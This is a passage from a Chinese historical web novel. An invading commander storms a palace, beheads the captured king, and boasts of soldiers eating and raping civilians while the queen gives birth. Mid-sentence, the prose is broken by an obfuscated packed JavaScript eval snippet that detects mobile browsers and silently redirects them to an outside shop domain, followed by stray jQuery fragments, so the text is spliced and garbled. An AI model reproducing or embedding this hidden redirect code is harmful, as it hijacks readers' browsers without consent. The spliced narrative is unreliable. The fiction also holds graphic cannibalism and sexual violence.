“王后,用力些!看到公子的头了!”
说话的这个人,街坊邻居都称为「张产婆」。她年近四十,常年经手此事,手脚极是利落。朔王见张产婆风评甚好,这才将其接入宫中照料苗禾安。
此时,张产婆半蹲在床榻一侧,双手稳稳托住苗禾安的腿,话语中的鼓励,是带有温度的,但似乎又夹杂着一丝急促。而其他产婆也是各司其职,动作飞快之余却有条不紊。
苗禾安浑身脱力,全身的冷汗犹如被水孟当头一泼,顺着鬓角、下颌不断滚落。剧痛反复撕扯着身子,她只觉得眼前阵阵发黑,许多不愿回想的画面再次席卷而来,紧绷到极致的心神骤然崩断,身子一软,竟昏死了过去。
漪兰殿内,响起潇若、潇乐、张产婆等人的声音,像苗禾安平日里携带的小玉铃,慌急地在殿中四下撞荡。不一会儿,便撞在王宫的各个角落,期间混进了无数凄厉哀嚎。
“朔王今在何处?他不会是逃了吧?”
于进放声大笑,眉眼间尽是对朔王这等昏庸之辈的不屑轻视。身侧立着的人,与他长得有七分像,可细看便会发现,此人眼底无半分戾气,眉目温润柔和,一身气质清透纯粹,与周遭士兵身上散发着见了血的肃杀之气,格格不入。
“兄长,雍王只是让我等活捉朔王等人,而非滥杀无辜。若其中出了纰漏,雍王怪罪下来,恐怕不好交差。”
于进没将于退的话放在心上,反而嗤笑一声,不以为然道,“雍王身在都城,又未亲临于此,他又怎么知道这里的情形呢?再说了,届时胡诌几句,朔王此獠不甘受辱,以头抢地,这事情不就了了嘛。”
他余光注意到于退一脸不赞同,语气缓和稍许,好声好气地说:“弟弟,咱们此行,一是攻破朔国,将其地纳入雍国的疆域里;二是借着这场战事震慑其余四国。只要这两件大事办妥了,其余的皆是无关紧要。所以啊,你不用太过忧心,兄长心里有数。只要事情没有闹到明面上去,雍王都会睁一只眼闭一只眼的。”
于退正欲说什么,可于进没有给他说话的机会,领着士兵径直往前穿行。途中若遇到姿色平平的,无论是内侍还是宫女,尽数绑起来,任人食之;若容颜姣好,则任人用之。很快,王宫内,雍兵所到之处,皆是一片惨绝人寰的景象。遍地的绝望和暴戾,久久不息。
片刻,众人来到毓庆殿。殿外守值的侍卫不见踪迹,再走十几步,他们忽然惊觉侍奉在这里的内侍宫女去了何处?这个念头冒出,诸多雍兵心下一凛,纷纷开始戒备起来。
“你们进去看看,是不是真让袁泽彦跑了?”于进狭长的眼睛闪过一丝阴鸷,咬着牙,按捺住心中的不安,凝声喊道。
众人见状,互看了一下彼此后,怀揣着忐忑的心绪,硬着头皮上前,手中握着的长刀利刃,寒气逼人。刀口被打磨得锋利无比,寻常铜铁器物遇上,也能轻易斩断。可这么好的兵器,落在此辈手中,恰似良驹供凡夫驱策,白白糟践了一身锋芒。纵使这般,他们也能凭此利器,在周、朔两国战事上,应对自如。
随着雍兵缓缓靠近,一道清越恬淡的声音自殿内深处悠悠传出,语调不高,却清清楚楚传进每个人耳中,惊得他们齐齐顿住脚步,转头看向于进,眼里透着询问。
于进将于退挡在身后,呵斥一道:“是哪个宵小之辈敢在这里装神弄鬼?”
话音刚落,朔王孤身一人地从里面出来。他两颊颧骨深深凹陷,往日挺拔的身形消瘦得厉害,旧袍松松垮垮地怪在身上,衬得整个人愈发单薄。
今日的天儿极好,万里无云,烈阳毫不遮掩地倾注而下,落在朔王的肩头,仿佛镀了一层灼人的赤金光晕,刺得一众举刀的雍兵下意识眯起双眼,随后只见眼前之人面色不见丝毫慌乱,只静静立在阶下,平视着他们。
“呦!这不是朔王嘛。我还以为你带着婆娘四处逃窜呢!”
于进讥诮的话语,犹如一根根细密的银针扎在朔王的心里,他何曾没有想过脱身逃走?可普天之下,又哪里是安身之所?倘若他当真抛下朔国遁走,那百姓又该何去何从?在这样的世道之下,他纵然无力护得所有人安稳,也绝不能丢下子民独自苟活?
朔王心下戚戚然,身心情不自禁地念起仍在生产的苗禾安,不知她怎么样了?孩儿可有闹她?终究是他无能,硬生生连累她身陷危局。
“来人!将他给我绑了!然后拖出去喂狗!”
于进遽然一声喝令,阴恻恻的声音,犹如现今正闹得正欢的蝉鸣般,徒惹心烦之余又有些刺耳。“叮”得一声,兵甲与利器相撞,劈开了静谧凝滞的氛围,亦斩断了朔王的万般思绪。
朔王敛下牵挂的情绪,转而神色沉肃庄重地对于进说:“寡人任凭你处置,但朔国百姓、朝中臣子、宫中眷属,你万万不可加害分毫!”
于进脚步散漫,慢悠悠地一步步凑到朔王面前,手中长刀刀刃轻轻抬起,一道冰凉的触感贴在朔王下颌之上,逼得朔王只能被迫扬着头与他对视。他眸中闪过戏谑,居高临下地睨向这个落魄颓败的君王。
“一个阶下囚也配谈条件?你放心,你的那些百姓,早被我们杀了、吃了、虐了;那些大臣呢,也被我们寻了个笼子关起来;至于你的宫中眷属……待会儿她们自会在我们身下,沦为供人赏玩的物件儿!”
说罢,于进眉峰高高扬起,唇角挑起不可一世的张扬,完全无视了朔王那猩红愤怒的目光。
“你!”
不等朔王说完,于进适才漫不经意的神情褪去,转瞬浮现出能掌握人生死的嗜血狠厉。他的手腕微微收紧,刀刃顺势贯穿了朔王的喉咙,并轻松地控制刀柄在手中转了一圈,旋即不再戏弄,横切一刀,人头落地。
温热鲜血顺着雪亮的刀锋猛地喷溅而出,洒在了被烈日照得微微泛白的青石砖上,浓厚腥气混着盛夏的燥热,四下弥漫开来。
朔王的身躯犹如断线的布娃娃一般,
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17747447|209178||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
彻底失了支撑,毫无生气地重重砸在地面上,而那被砍下的头颅双目兀自圆睁,滚了数圈之后,方堪堪停稳。
一双失了亮色的眼眸遥遥望向漪兰殿所在的方向,至死都惦念着为他在鬼门关上走一回的人!
“朔王出言不逊,痛骂羞辱雍王,我等迫不得已才处之。然上天有好生之德,天下苍生饱受朔王与妖后苛政之苦,今日将其头颅悬挂于闹市,以儆效尤!但凡漠视黎明、残害百姓之人,终会落得如此下场!”
于进冠冕堂皇地喊话,一字一句,抬高声量,刻意做出一副替天行道的模样,全然掩去了方才嚣张跋扈的丑恶嘴脸。
众人听此,无一不从。其间有人壮着胆子问:“头儿,这昏君已死,那……”
“嗯?”于进一记冷眼扫了过去,吓得那人缩了一下脖子,他撇嘴道:“出息!这么瘦,能有几两肉?”
“这……瘦是瘦了点,可我们大伙儿也想尝尝这人跟人能有什么不一样的?”
“还不都是两只眼睛一个鼻子一张嘴?难不成吃了他就能长生不老了?”于进觑了一眼那人,话虽然说得扫人兴致,但他还是踢了一脚朔王的尸身,挥手不耐烦地说:“拿走拿走!记住,现在还不到时候。咱们抓得那些人,看着都是硬骨头,此等有助于示威之事,自然要当着他们的面儿做了。”
“是,属下明白。”
这时,于退欲言又止道:“兄长,狗急尚能跳墙,焉知他们会不会留下后手?”
于进语带安抚,眉间衔起淡淡的温情,“你呀,就是太小心了。不过也不打紧,凡事都兄长替你顶着呢。”他话锋一转,冷哼道:“如果这群人真有后手,你我怎么会入得了这朔王宫?”
两人只是随口言论,便已将朔国分析得七七八八。那厢,漪兰殿内,随着苗禾安腹中的孩儿瓜熟蒂落,张产婆才惊喜出声。
“生了!王后生了!”
朔王忧心苗禾安恐有不测,所以一早就将武力精湛的侍卫安排在漪兰殿,就连他的心腹内侍田福瑞也在其中。这些人的心神全都在苗禾安和公子身上,任外面天翻地覆,他们也毫不知情,宛如一只只囚于高墙的飞鸟,被迫隔绝了所有要面临的厮杀与血腥。
“王后生的是公子!”
“果真?这可是大王的第一子啊!奴婢这就去禀告大王,叫他好生欢喜一番。”
田福瑞满眼喜色,同潇若、潇乐吩咐了几句,便快步踏出殿外。可他的身影刚消失在侍卫们的视线时,迎面遇见了四处搜宫的雍兵,心头顿时掀起惊涛骇浪,他们这么肆无忌惮地闯入,大王呢?难道大王……
这个念头萦绕在田福瑞的心口,冷汗直冒,他当即想要奔向漪兰殿给苗禾安报信,步履仓促又急乱,指尖止不住地发颤。
就在这时,于进等人注意到了不远处有个惊慌失措的背影。他眉头一皱,并不打算留活口。于是,当于进抬手示意的刹那,一支弩箭破空疾射而出。